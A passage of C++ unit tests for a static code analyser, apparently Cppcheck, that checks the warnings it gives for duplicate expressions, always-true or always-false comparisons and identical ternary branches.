void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) 